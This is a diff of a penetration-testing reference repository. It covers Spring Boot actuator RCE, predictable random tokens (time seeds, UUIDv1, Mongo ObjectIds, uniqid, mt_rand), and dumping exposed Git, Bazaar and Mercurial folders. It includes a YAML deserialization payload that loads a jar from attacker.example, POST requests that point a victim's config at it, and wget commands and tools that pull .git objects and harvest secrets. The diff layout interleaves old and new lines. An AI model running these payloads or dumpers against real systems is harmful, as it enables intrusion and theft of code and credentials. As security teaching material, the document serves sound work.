|
|
||||||
try {
|
|
||||||
Runtime.getRuntime().exec("ping rce.poc.attacker.example"); // COMMAND HERE
|
|
||||||
} catch (IOException e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
- Create a malicious yaml config (yaml-payload.yml)
|
|
||||||
|
|
||||||
```yaml
|
|
||||||
!!javax.script.ScriptEngineManager [
|
|
||||||
!!java.net.URLClassLoader [[
|
|
||||||
!!java.net.URL ["http://attacker.example/yaml-payload.jar"]
|
|
||||||
]]
|
|
||||||
]
|
|
||||||
```
|
|
||||||
|
|
||||||
|
|
||||||
2. Host the malicious files on your server.
|
## Summary
|
||||||
|
|
||||||
- yaml-payload.jar
|
* [Methodology](#methodology)
|
||||||
- yaml-payload.yml
|
* [References](#references)
|
||||||
|
|
||||||
|
|
||||||
3. Change `spring.cloud.bootstrap.location` to your server.
|
## Methodology
|
||||||
|
|
||||||
```
|
Insecure Management Interface vulnerabilities arise when administrative interfaces of systems or applications are improperly secured, allowing unauthorized or malicious users to gain access, modify configurations, or exploit sensitive operations. These interfaces are often critical for maintaining, monitoring, and controlling systems and must be secured rigorously.
|
||||||
POST /env HTTP/1.1
|
|
||||||
Host: victim.example:8090
|
|
||||||
Content-Type: application/x-www-form-urlencoded
|
|
||||||
Content-Length: 59
|
|
||||||
|
|
||||||
spring.cloud.bootstrap.location=http://attacker.example/yaml-payload.yml
|
* Lack of Authentication or Weak Authentication:
|
||||||
```
|
* Interfaces accessible without requiring credentials.
|
||||||
|
* Use of default or weak credentials (e.g., admin/admin).
|
||||||
|
|
||||||
4. Reload the configuration.
|
```ps1
|
||||||
|
nuclei -t http/default-logins -u https://example.com
|
||||||
|
```
|
||||||
|
|
||||||
|
* Exposure to the Public Internet
|
||||||
|
```ps1
|
||||||
|
nuclei -t http/exposed-panels -u https://example.com
|
||||||
|
nuclei -t http/exposures -u https://example.com
|
||||||
|
```
|
||||||
|
|
||||||
|
* Sensitive data transmitted over plain HTTP or other unencrypted protocols
|
||||||
|
|
||||||
|
|
||||||
|
**Examples**:
|
||||||
|
|
||||||
|
* **Network Devices**: Routers, switches, or firewalls with default credentials or unpatched vulnerabilities.
|
||||||
|
* **Web Applications**: Admin panels without authentication or exposed via predictable URLs (e.g., /admin).
|
||||||
|
* **Cloud Services**: API endpoints without proper authentication or overly permissive roles.
|
||||||
|
|
||||||
```
|
|
||||||
POST /refresh HTTP/1.1
|
|
||||||
Host: victim.example:8090
|
|
||||||
Content-Type: application/x-www-form-urlencoded
|
|
||||||
Content-Length: 0
|
|
||||||
```
|
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
||||||
* [Springboot - Official Documentation](https://docs.spring.io/spring-boot/docs/current/reference/html/production-ready-endpoints.html)
|
- [CAPEC-121: Exploit Non-Production Interfaces - CAPEC - July 30, 2020](https://capec.mitre.org/data/definitions/121.html)
|
||||||
* [Exploiting Spring Boot Actuators - Veracode](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators)
|
- [Exploiting Spring Boot Actuators - Michael Stepankin - Feb 25, 2019](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators)
|
||||||
|
- [Springboot - Official Documentation - May 9, 2024](https://docs.spring.io/spring-boot/docs/current/reference/html/production-ready-endpoints.html)
|
||||||
218
Insecure Randomness/README.md
Normal file
218
Insecure Randomness/README.md
Normal file
@@ -0,0 +1,218 @@
|
|||||||
|
# Insecure Randomness
|
||||||
|
|
||||||
|
> Insecure randomness refers to the weaknesses associated with random number generation in computing, particularly when such randomness is used for security-critical purposes. Vulnerabilities in random number generators (RNGs) can lead to predictable outputs that can be exploited by attackers, resulting in potential data breaches or unauthorized access.
|
||||||
|
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
* [Methodology](#methodology)
|
||||||
|
* [Time-Based Seeds](#time-based-seeds)
|
||||||
|
* [GUID / UUID](#guid--uuid)
|
||||||
|
* [GUID Versions](#guid-versions)
|
||||||
|
* [Mongo ObjectId](#mongo-objectid)
|
||||||
|
* [Uniqid](#uniqid)
|
||||||
|
* [mt_rand](#mt_rand)
|
||||||
|
* [Custom Algorithms](#custom-algorithms)
|
||||||
|
* [References](#references)
|
||||||
|
|
||||||
|
|
||||||
|
## Methodology
|
||||||
|
|
||||||
|
Insecure randomness arises when the source of randomness or the method of generating random values is not sufficiently unpredictable. This can lead to predictable outputs, which can be exploited by attackers. Below, we examine common methods that are prone to insecure randomness, including time-based seeds, GUIDs, UUIDs, MongoDB ObjectIds, and the `uniqid()` function.
|
||||||
|
|
||||||
|
|
||||||
|
## Time-Based Seeds
|
||||||
|
|
||||||
|
Many random number generators (RNGs) use the current system time (e.g., milliseconds since epoch) as a seed. This approach can be insecure because the seed value can be easily predicted, especially in automated or scripted environments.
|
||||||
|
|
||||||
|
```py
|
||||||
|
import random
|
||||||
|
import time
|
||||||
|
|
||||||
|
seed = int(time.time())
|
||||||
|
random.seed(seed)
|
||||||
|
print(random.randint(1, 100))
|
||||||
|
```
|
||||||
|
|
||||||
|
The RNG is seeded with the current time, making it predictable for anyone who knows or can estimate the seed value.
|
||||||
|
By knowing the exact time, an attacker can regenerate the correct random value, here is an example for the date `2024-11-10 13:37`.
|
||||||
|
|
||||||
|
```python
|
||||||
|
import random
|
||||||
|
import time
|
||||||
|
|
||||||
|
# Seed based on the provided timestamp
|
||||||
|
seed = int(time.mktime(time.strptime('2024-11-10 13:37', '%Y-%m-%d %H:%M')))
|
||||||
|
random.seed(seed)
|
||||||
|
|
||||||
|
# Generate the random number
|
||||||
|
print(random.randint(1, 100))
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
## GUID / UUID
|
||||||
|
|
||||||
|
A GUID (Globally Unique Identifier) or UUID (Universally Unique Identifier) is a 128-bit number used to uniquely identify information in computer systems. They are typically represented as a string of hexadecimal digits, divided into five groups separated by hyphens, such as `550e8400-e29b-41d4-a716-446655440000`. GUIDs/UUIDs are designed to be unique across both space and time, reducing the likelihood of duplication even when generated by different systems or at different times.
|
||||||
|
|
||||||
|
|
||||||
|
### GUID Versions
|
||||||
|
|
||||||
|
Version identification: `xxxxxxxx-xxxx-Mxxx-Nxxx-xxxxxxxxxxxx`
|
||||||
|
The four-bit M and the 1- to 3-bit N fields code the format of the UUID itself.
|
||||||
|
|
||||||
|
| Version | Notes |
|
||||||
|
|----------|--------|
|
||||||
|
| 0 | Only `00000000-0000-0000-0000-000000000000` |
|
||||||
|
| 1 | based on time, or clock sequence |
|
||||||
|
| 2 | reserved in the RFC 4122, but omitted in many implementations |
|
||||||
|
| 3 | based on a MD5 hash |
|
||||||
|
| 4 | randomly generated |
|
||||||
|
| 5 | based on a SHA1 hash |
|
||||||
|
|
||||||
|
|
||||||
|
### Tools
|
||||||
|
|
||||||
|
* [intruder-io/guidtool](https://github.com/intruder-io/guidtool) - A tool to inspect and attack version 1 GUIDs
|
||||||
|
```ps1
|
||||||
|
$ guidtool -i 95f6e264-bb00-11ec-8833-00155d01ef00
|
||||||
|
UUID version: 1
|
||||||
|
UUID time: 2022-04-13 08:06:13.202186
|
||||||
|
UUID timestamp: 138691299732021860
|
||||||
|
UUID node: 91754721024
|
||||||
|
UUID MAC address: 00:15:5d:01:ef:00
|
||||||
|
UUID clock sequence: 2099
|
||||||
|
|
||||||
|
$ guidtool 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c -t '2021-11-17 18:03:17' -p 10000
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
## Mongo ObjectId
|
||||||
|
|
||||||
|
Mongo ObjectIds are generated in a predictable manner, the 12-byte ObjectId value consists of:
|
||||||
|
|
||||||
|
* **Timestamp** (4 bytes): Represents the ObjectId’s creation time, measured in seconds since the Unix epoch (January 1, 1970).
|
||||||
|
* **Machine Identifier** (3 bytes): Identifies the machine on which the ObjectId was generated. Typically derived from the machine's hostname or IP address, making it predictable for documents created on the same machine.
|
||||||
|
* **Process ID** (2 bytes): Identifies the process that generated the ObjectId. Typically the process ID of the MongoDB server process, making it predictable for documents created by the same process.
|
||||||
|
* **Counter** (3 bytes): A unique counter value that is incremented for each new ObjectId generated. Initialized to a random value when the process starts, but subsequent values are predictable as they are generated in sequence.
|
||||||
|
|
||||||
|
Token example
|
||||||
|
|
||||||
|
* `5ae9b90a2c144b9def01ec37`, `5ae9bac82c144b9def01ec39`
|
||||||
|
|
||||||
|
|
||||||
|
### Tools
|
||||||
|
|
||||||
|
* [andresriancho/mongo-objectid-predict](https://github.com/andresriancho/mongo-objectid-predict) - Predict Mongo ObjectIds
|
||||||
|
```ps1
|
||||||
|
./mongo-objectid-predict 5ae9b90a2c144b9def01ec37
|
||||||
|
5ae9bac82c144b9def01ec39
|
||||||
|
5ae9bacf2c144b9def01ec3a
|
||||||
|
5ae9bada2c144b9def01ec3b
|
||||||
|
```
|
||||||
|
* Python script to recover the `timestamp`, `process` and `counter`
|
||||||
|
```py
|
||||||
|
def MongoDB_ObjectID(timestamp, process, counter):
|
||||||
|
return "%08x%10x%06x" % (
|
||||||
|
timestamp,
|
||||||
|
process,
|
||||||
|
counter,
|
||||||
|
)
|
||||||
|
|
||||||
|
def reverse_MongoDB_ObjectID(token):
|
||||||
|
timestamp = int(token[0:8], 16)
|
||||||
|
process = int(token[8:18], 16)
|
||||||
|
counter = int(token[18:24], 16)
|
||||||
|
return timestamp, process, counter
|
||||||
|
|
||||||
|
|
||||||
|
def check(token):
|
||||||
|
(timestamp, process, counter) = reverse_MongoDB_ObjectID(token)
|
||||||
|
return token == MongoDB_ObjectID(timestamp, process, counter)
|
||||||
|
|
||||||
|
tokens = ["5ae9b90a2c144b9def01ec37", "5ae9bac82c144b9def01ec39"]
|
||||||
|
for token in tokens:
|
||||||
|
(timestamp, process, counter) = reverse_MongoDB_ObjectID(token)
|
||||||
|
print(f"{token}: {timestamp} - {process} - {counter}")
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
## Uniqid
|
||||||
|
|
||||||
|
Token derived using `uniqid` are based on timestamp and they can be reversed.
|
||||||
|
|
||||||
|
* [Riamse/python-uniqid](https://github.com/Riamse/python-uniqid/blob/master/uniqid.py) is based on a timestamp
|
||||||
|
* [php/uniqid](https://github.com/php/php-src/blob/master/ext/standard/uniqid.c)
|
||||||
|
|
||||||
|
Token examples
|
||||||
|
|
||||||
|
* uniqid: `6659cea087cd6`, `6659cea087cea`
|
||||||
|
* sha256(uniqid): `4b26d474c77daf9a94d82039f4c9b8e555ad505249437c0987f12c1b80de0bf4`, `ae72a4c4cdf77f39d1b0133394c0cb24c33c61c4505a9fe33ab89315d3f5a1e4`
|
||||||
|
|
||||||
|
|
||||||
|
### Tools
|
||||||
|
|
||||||
|
```py
|
||||||
|
import math
|
||||||
|
import datetime
|
||||||
|
|
||||||
|
def uniqid(timestamp: float) -> str:
|
||||||
|
sec = math.floor(timestamp)
|
||||||
|
usec = round(1000000 * (timestamp - sec))
|
||||||
|
return "%8x%05x" % (sec, usec)
|
||||||
|
|
||||||
|
def reverse_uniqid(value: str) -> float:
|
||||||
|
sec = int(value[:8], 16)
|
||||||
|
usec = int(value[8:], 16)
|
||||||
|
return float(f"{sec}.{usec}")
|
||||||
|
|
||||||
|
tokens = ["6659cea087cd6" , "6659cea087cea"]
|
||||||
|
for token in tokens:
|
||||||
|
t = float(reverse_uniqid(token))
|
||||||
|
d = datetime.datetime.fromtimestamp(t)
|
||||||
|
print(f"{token} - {t} => {d}")
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
## mt_rand
|
||||||
|
|
||||||
|
Breaking mt_rand() with two output values and no bruteforce.
|
||||||
|
|
||||||
|
* [ambionics/mt_rand-reverse](https://github.com/ambionics/mt_rand-reverse) - Script to recover mt_rand()'s seed with only two outputs and without any bruteforce.
|
||||||
|
|
||||||
|
```ps1
|
||||||
|
./display_mt_rand.php 12345678 123
|
||||||
|
712530069 674417379
|
||||||
|
|
||||||
|
./reverse_mt_rand.py 712530069 674417379 123 1
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
## Custom Algorithms
|
||||||
|
|
||||||
|
Creating your own randomness algorithm is generally not recommended. Below are some examples found on GitHub or StackOverflow that are sometimes used in production, but may not be reliable or secure.
|
||||||
|
|
||||||
|
* `$token = md5($emailId).rand(10,9999);`
|
||||||
|
* `$token = md5(time()+123456789 % rand(4000, 55000000));`
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
### Tools
|
||||||
|
|
||||||
|
Generic identification and sandwitch attack:
|
||||||
|
|
||||||
|
* [AethliosIK/reset-tolkien](https://github.com/AethliosIK/reset-tolkien) - Insecure time-based secret exploitation and Sandwich attack implementation Resources
|
||||||
|
```ps1
|
||||||
|
reset-tolkien detect 660430516ffcf -d "Wed, 27 Mar 2024 14:42:25 GMT" --prefixes "attacker@example.com" --suffixes "attacker@example.com" --timezone "-7"
|
||||||
|
reset-tolkien sandwich 660430516ffcf -bt 1711550546.485597 -et 1711550546.505134 -o output.txt --token-format="uniqid"
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
- [In GUID We Trust - Daniel Thatcher - October 11, 2022](https://www.intruder.io/research/in-guid-we-trust)
|
||||||
|
- [IDOR through MongoDB Object IDs Prediction - Amey Anekar - August 25, 2020](https://techkranti.com/idor-through-mongodb-object-ids-prediction/)
|
||||||
|
- [Secret basé sur le temps non sécurisé et attaque par sandwich - Analyse de mes recherches et publication de l’outil “Reset Tolkien” - Tom CHAMBARETAUD (@AethliosIK) - April 2, 2024](https://www.aeth.cc/public/Article-Reset-Tolkien/secret-time-based-article-fr.html) *(FR)*
|
||||||
|
- [Unsecure time-based secret and Sandwich Attack - Analysis of my research and release of the “Reset Tolkien” tool - Tom CHAMBARETAUD (@AethliosIK) - April 2, 2024](https://www.aeth.cc/public/Article-Reset-Tolkien/secret-time-based-article-en.html) *(EN)*
|
||||||
|
- [Multi-sandwich attack with MongoDB Object ID or the scenario for real-time monitoring of web application invitations: a new use case for the sandwich attack - Tom CHAMBARETAUD (@AethliosIK) - July 18, 2024](https://www.aeth.cc/public/Article-Reset-Tolkien/multi-sandwich-article-en.html)
|
||||||
|
- [Exploiting Weak Pseudo-Random Number Generation in PHP’s rand and srand Functions - Jacob Moore - October 18, 2023](https://medium.com/@moorejacob2017/exploiting-weak-pseudo-random-number-generation-in-phps-rand-and-srand-functions-445229b83e01)
|
||||||
|
- [Breaking PHP's mt_rand() with 2 values and no bruteforce - Charles Fol - January 6, 2020](https://www.ambionics.io/blog/php-mt-rand-prediction)
|
||||||
53
Insecure Source Code Management/Bazaar.md
Normal file
53
Insecure Source Code Management/Bazaar.md
Normal file
@@ -0,0 +1,53 @@
|
|||||||
|
# Bazaar
|
||||||
|
|
||||||
|
> Bazaar (also known as bzr ) is a free, distributed version control system (DVCS) that helps you track project history over time and collaborate seamlessly with others. Developed by Canonical, Bazaar emphasizes ease of use, a flexible workflow, and rich features to cater to both individual developers and large teams.
|
||||||
|
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
* [Tools](#tools)
|
||||||
|
* [rip-bzr.pl](#rip-bzrpl)
|
||||||
|
* [bzr_dumper](#bzr_dumper)
|
||||||
|
* [References](#references)
|
||||||
|
|
||||||
|
|
||||||
|
## Tools
|
||||||
|
|
||||||
|
### rip-bzr.pl
|
||||||
|
|
||||||
|
* [kost/dvcs-ripper/rip-bzr.pl](https://raw.githubusercontent.com/kost/dvcs-ripper/master/rip-bzr.pl)
|
||||||
|
```powershell
|
||||||
|
docker run --rm -it -v /path/to/host/work:/work:rw k0st/alpine-dvcs-ripper rip-bzr.pl -v -u
|
||||||
|
```
|
||||||
|
|
||||||
|
### bzr_dumper
|
||||||
|
|
||||||
|
* [SeahunOh/bzr_dumper](https://github.com/SeahunOh/bzr_dumper)
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
python3 dumper.py -u "http://127.0.0.1:5000/" -o source
|
||||||
|
Created a standalone tree (format: 2a)
|
||||||
|
[!] Target : http://127.0.0.1:5000/
|
||||||
|
[+] Start.
|
||||||
|
[+] GET repository/pack-names
|
||||||
|
[+] GET README
|
||||||
|
[+] GET checkout/dirstate
|
||||||
|
[+] GET checkout/views
|
||||||
|
[+] GET branch/branch.conf
|
||||||
|
[+] GET branch/format
|
||||||
|
[+] GET branch/last-revision
|
||||||
|
[+] GET branch/tag
|
||||||
|
[+] GET b'154411f0f33adc3ff8cfb3d34209cbd1'
|
||||||
|
[*] Finish
|
||||||
|
```
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
bzr revert
|
||||||
|
N application.py
|
||||||
|
N database.py
|
||||||
|
N static/
|
||||||
|
```
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
- [STEM CTF Cyber Challenge 2019 – My First Blog - m3ssap0 / zuzzur3ll0n1 - March 2, 2019](https://ctftime.org/writeup/13380)
|
||||||
1401
Insecure Source Code Management/Files/github-dorks.txt
Normal file
1401
Insecure Source Code Management/Files/github-dorks.txt
Normal file
File diff suppressed because it is too large
Load Diff
231
Insecure Source Code Management/Git.md
Normal file
231
Insecure Source Code Management/Git.md
Normal file
@@ -0,0 +1,231 @@
|
|||||||
|
# Git
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
* [Methodology](#methodology)
|
||||||
|
* [Recovering file contents from .git/logs/HEAD](#recovering-file-contents-from-gitlogshead)
|
||||||
|
* [Recovering file contents from .git/index](#recovering-file-contents-from-gitindex)
|
||||||
|
* [Tools](#tools)
|
||||||
|
* [Automatic recovery](#automatic-recovery)
|
||||||
|
* [git-dumper.py](#git-dumperpy)
|
||||||
|
* [diggit.py](#diggitpy)
|
||||||
|
* [GoGitDumper](#gogitdumper)
|
||||||
|
* [rip-git](#rip-git)
|
||||||
|
* [GitHack](#githack)
|
||||||
|
* [GitTools](#gittools)
|
||||||
|
* [Harvesting secrets](#harvesting-secrets)
|
||||||
|
* [trufflehog](#trufflehog)
|
||||||
|
* [Yar](#yar)
|
||||||
|
* [Gitrob](#gitrob)
|
||||||
|
* [Gitleaks](#gitleaks)
|
||||||
|
* [Refererences]
|
||||||
|
|
||||||
|
|
||||||
|
## Methodology
|
||||||
|
|
||||||
|
The following examples will create either a copy of the .git or a copy of the current commit.
|
||||||
|
|
||||||
|
Check for the following files, if they exist you can extract the .git folder.
|
||||||
|
|
||||||
|
- `.git/config`
|
||||||
|
- `.git/HEAD`
|
||||||
|
- `.git/logs/HEAD`
|
||||||
|
|
||||||
|
|
||||||
|
### Recovering file contents from .git/logs/HEAD
|
||||||
|
|
||||||
|
1. Check for 403 Forbidden or directory listing to find the `/.git/` directory
|
||||||
|
2. Git saves all information in `.git/logs/HEAD` (try lowercase `head` too)
|
||||||
|
```powershell
|
||||||
|
0000000000000000000000000000000000000000 15ca375e54f056a576905b41a417b413c57df6eb root <root@dfc2eabdf236.(none)> 1455532500 +0000 clone: from https://github.com/fermayo/hello-world-lamp.git
|
||||||
|
15ca375e54f056a576905b41a417b413c57df6eb 26e35470d38c4d6815bc4426a862d5399f04865c Michael <michael@easyctf.com> 1489390329 +0000 commit: Initial.
|
||||||
|
26e35470d38c4d6815bc4426a862d5399f04865c 6b4131bb3b84e9446218359414d636bda782d097 Michael <michael@easyctf.com> 1489390330 +0000 commit: Whoops! Remove flag.
|
||||||
|
6b4131bb3b84e9446218359414d636bda782d097 a48ee6d6ca840b9130fbaa73bbf55e9e730e4cfd Michael <michael@easyctf.com> 1489390332 +0000 commit: Prevent directory listing.
|
||||||
|
```
|
||||||
|
3. Access the commit using the hash
|
||||||
|
```powershell
|
||||||
|
# create an empty .git repository
|
||||||
|
git init test
|
||||||
|
cd test/.git
|
||||||
|
|
||||||
|
# download the file
|
||||||
|
wget http://web.site/.git/objects/26/e35470d38c4d6815bc4426a862d5399f04865c
|
||||||
|
|
||||||
|
# first byte for subdirectory, remaining bytes for filename
|
||||||
|
mkdir .git/object/26
|
||||||
|
mv e35470d38c4d6815bc4426a862d5399f04865c .git/objects/26/
|
||||||
|
|
||||||
|
# display the file
|
||||||
|
git cat-file -p 26e35470d38c4d6815bc4426a862d5399f04865c
|
||||||
|
tree 323240a3983045cdc0dec2e88c1358e7998f2e39
|
||||||
|
parent 15ca375e54f056a576905b41a417b413c57df6eb
|
||||||
|
author Michael <michael@easyctf.com> 1489390329 +0000
|
||||||
|
committer Michael <michael@easyctf.com> 1489390329 +0000
|
||||||
|
Initial.
|
||||||
|
```
|
||||||
|
4. Access the tree 323240a3983045cdc0dec2e88c1358e7998f2e39
|
||||||
|
```powershell
|
||||||
|
wget http://web.site/.git/objects/32/3240a3983045cdc0dec2e88c1358e7998f2e39
|
||||||
|
mkdir .git/object/32
|
||||||
|
mv 3240a3983045cdc0dec2e88c1358e7998f2e39 .git/objects/32/
|
||||||
|
|
||||||
|
git cat-file -p 323240a3983045cdc0dec2e88c1358e7998f2e39
|
||||||
|
040000 tree bd083286051cd869ee6485a3046b9935fbd127c0 css
|
||||||
|
100644 blob cb6139863967a752f3402b3975e97a84d152fd8f flag.txt
|
||||||
|
040000 tree 14032aabd85b43a058cfc7025dd4fa9dd325ea97 fonts
|
||||||
|
100644 blob a7f8a24096d81887483b5f0fa21251a7eefd0db1 index.html
|
||||||
|
040000 tree 5df8b56e2ffd07b050d6b6913c72aec44c8f39d8 js
|
||||||
|
```
|
||||||
|
5. Read the data (flag.txt)
|
||||||
|
```powershell
|
||||||
|
wget http://web.site/.git/objects/cb/6139863967a752f3402b3975e97a84d152fd8f
|
||||||
|
mkdir .git/object/cb
|
||||||
|
mv 6139863967a752f3402b3975e97a84d152fd8f .git/objects/32/
|
||||||
|
git cat-file -p cb6139863967a752f3402b3975e97a84d152fd8f
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
### Recovering file contents from .git/index
|
||||||
|
|
||||||
|
Use the git index file parser https://pypi.python.org/pypi/gin (python3).
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
pip3 install gin
|
||||||
|
gin ~/git-repo/.git/index
|
||||||
|
```
|
||||||
|
|
||||||
|
Recover name and sha1 hash of every file listed in the index, and use the same process above to recover the file.
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
$ gin .git/index | egrep -e "name|sha1"
|
||||||
|
name = AWS Amazon Bucket S3/README.md
|
||||||
|
sha1 = 862a3e58d138d6809405aa062249487bee074b98
|
||||||
|
|
||||||
|
name = CRLF injection/README.md
|
||||||
|
sha1 = d7ef4d77741c38b6d3806e0c6a57bf1090eec141
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
## Tools
|
||||||
|
|
||||||
|
### Automatic recovery
|
||||||
|
|
||||||
|
#### git-dumper.py
|
||||||
|
|
||||||
|
* [arthaud/git-dumper](https://github.com/arthaud/git-dumper)
|
||||||
|
```powershell
|
||||||
|
pip install -r requirements.txt
|
||||||
|
./git-dumper.py http://web.site/.git ~/website
|
||||||
|
```
|
||||||
|
|
||||||
|
#### diggit.py
|
||||||
|
|
||||||
|
* [bl4de/security-tools/diggit](https://github.com/bl4de/security-tools/)
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
./diggit.py -u remote_git_repo -t temp_folder -o object_hash [-r=True]
|
||||||
|
./diggit.py -u http://web.site -t /path/to/temp/folder/ -o d60fbeed6db32865a1f01bb9e485755f085f51c1
|
||||||
|
```
|
||||||
|
|
||||||
|
`-u` is remote path, where .git folder exists
|
||||||
|
`-t` is path to local folder with dummy Git repository and where blob content (files) are saved with their real names (`cd /path/to/temp/folder && git init`)
|
||||||
|
`-o` is a hash of particular Git object to download
|
||||||
|
|
||||||
|
#### GoGitDumper
|
||||||
|
|
||||||
|
* [c-sto/gogitdumper](https://github.com/c-sto/gogitdumper)
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
go get github.com/c-sto/gogitdumper
|
||||||
|
gogitdumper -u http://web.site/.git/ -o yourdecideddir/.git/
|
||||||
|
git log
|
||||||
|
git checkout
|
||||||
|
```
|
||||||
|
|
||||||
|
#### rip-git
|
||||||
|
|
||||||
|
* [kost/dvcs-ripper](https://github.com/kost/dvcs-ripper)
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
perl rip-git.pl -v -u "http://web.site/.git/"
|
||||||
|
|
||||||
|
git cat-file -p 07603070376d63d911f608120eb4b5489b507692
|
||||||
|
tree 5dae937a49acc7c2668f5bcde2a9fd07fc382fe2
|
||||||
|
parent 15ca375e54f056a576905b41a417b413c57df6eb
|
||||||
|
author Michael <michael@easyctf.com> 1489389105 +0000
|
||||||
|
committer Michael <michael@easyctf.com> 1489389105 +0000
|
||||||
|
|
||||||
|
git cat-file -p 5dae937a49acc7c2668f5bcde2a9fd07fc382fe2
|
||||||
|
```
|
||||||
|
|
||||||
|
#### GitHack
|
||||||
|
|
||||||
|
* [lijiejie/GitHack](https://github.com/lijiejie/GitHack)
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
GitHack.py http://web.site/.git/
|
||||||
|
```
|
||||||
|
|
||||||
|
#### GitTools
|
||||||
|
|
||||||
|
* [internetwache/GitTools](https://github.com/internetwache/GitTools)
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
./gitdumper.sh http://target.tld/.git/ /tmp/destdir
|
||||||
|
git checkout -- .
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
### Harvesting secrets
|
||||||
|
|
||||||
|
#### trufflehog
|
||||||
|
|
||||||
|
> Searches through git repositories for high entropy strings and secrets, digging deep into commit history.
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
pip install truffleHog # https://github.com/dxa4481/truffleHog
|
||||||
|
truffleHog --regex --entropy=False https://github.com/dxa4481/truffleHog.git
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Yar
|
||||||
|
|
||||||
|
> Searches through users/organizations git repositories for secrets either by regex, entropy or both. Inspired by the infamous truffleHog.
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
go get github.com/nielsing/yar # https://github.com/nielsing/yar
|
||||||
|
yar -o orgname --both
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Gitrob
|
||||||
|
|
||||||
|
> Gitrob is a tool to help find potentially sensitive files pushed to public repositories on Github. Gitrob will clone repositories belonging to a user or organization down to a configurable depth and iterate through the commit history and flag files that match signatures for potentially sensitive files.
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
go get github.com/michenriksen/gitrob # https://github.com/michenriksen/gitrob
|
||||||
|
export GITROB_ACCESS_TOKEN=deadbeefdeadbeefdeadbeefdeadbeefdeadbeef
|
||||||
|
gitrob [options] target [target2] ... [targetN]
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Gitleaks
|
||||||
|
|
||||||
|
> Gitleaks provides a way for you to find unencrypted secrets and other unwanted data types in git source code repositories.
|
||||||
|
|
||||||
|
* Run gitleaks against a public repository
|
||||||
|
```powershell
|
||||||
|
docker run --rm --name=gitleaks zricethezav/gitleaks -v -r https://github.com/zricethezav/gitleaks.git
|
||||||
|
```
|
||||||
|
|
||||||
|
* Run gitleaks against a local repository already cloned into /tmp/
|
||||||
|
```powershell
|
||||||
|
docker run --rm --name=gitleaks -v /tmp/:/code/ zricethezav/gitleaks -v --repo-path=/code/gitleaks
|
||||||
|
```
|
||||||
|
|
||||||
|
* Run gitleaks against a specific Github Pull request
|
||||||
|
```powershell
|
||||||
|
docker run --rm --name=gitleaks -e GITHUB_TOKEN={your token} zricethezav/gitleaks --github-pr=https://github.com/owner/repo/pull/9000
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
- [Gitrob: Now in Go - Michael Henriksen - January 24, 2024](https://michenriksen.com/blog/gitrob-now-in-go/)
|
||||||
25
Insecure Source Code Management/Mercurial.md
Normal file
25
Insecure Source Code Management/Mercurial.md
Normal file
@@ -0,0 +1,25 @@
|
|||||||
|
# Mercurial
|
||||||
|
|
||||||
|
> Mercurial (also known as hg from the chemical symbol for mercury) is a distributed version control system (DVCS) designed for efficiency and scalability. Developed by Matt Mackall and first released in 2005, Mercurial is known for its speed, simplicity, and ability to handle large codebases.
|
||||||
|
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
* [Tools](#tools)
|
||||||
|
* [rip-hg.pl](#rip-hgpl)
|
||||||
|
* [References](#references)
|
||||||
|
|
||||||
|
|
||||||
|
## Tools
|
||||||
|
|
||||||
|
### rip-hg.pl
|
||||||
|
|
||||||
|
* [kost/dvcs-ripper/master/rip-hg.pl](https://raw.githubusercontent.com/kost/dvcs-ripper/master/rip-hg.pl) - Rip web accessible (distributed) version control systems: SVN/GIT/HG...
|
||||||
|
```powershell
|
||||||
|
docker run --rm -it -v /path/to/host/work:/work:rw k0st/alpine-dvcs-ripper rip-hg.pl -v -u
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
* [my-chemical-romance - siunam - Feb 13, 2023](https://siunam321.github.io/ctf/LA-CTF-2023/Web/my-chemical-romance/)
|
||||||
@@ -1,307 +1,54 @@
|
|||||||
# Insecure source code management
|
# Insecure Source Code Management
|
||||||
|
|
||||||
* [Git](#git)
|
> Insecure Source Code Management (SCM) can lead to several critical vulnerabilities in web applications and services. Developers often rely on SCM systems like Git and Subversion (SVN) to manage their source code versions. However, poor security practices, such as leaving .git and .svn folders in production environments exposed to the internet, can pose significant risks.
|
||||||
+ [Example](#example)
|
|
||||||
- [Recovering file contents from .git/logs/HEAD](#recovering-file-contents-from-gitlogshead)
|
|
||||||
- [Recovering file contents from .git/index](#recovering-file-contents-from-gitindex)
|
## Summary
|
||||||
+ [Tools](#tools)
|
|
||||||
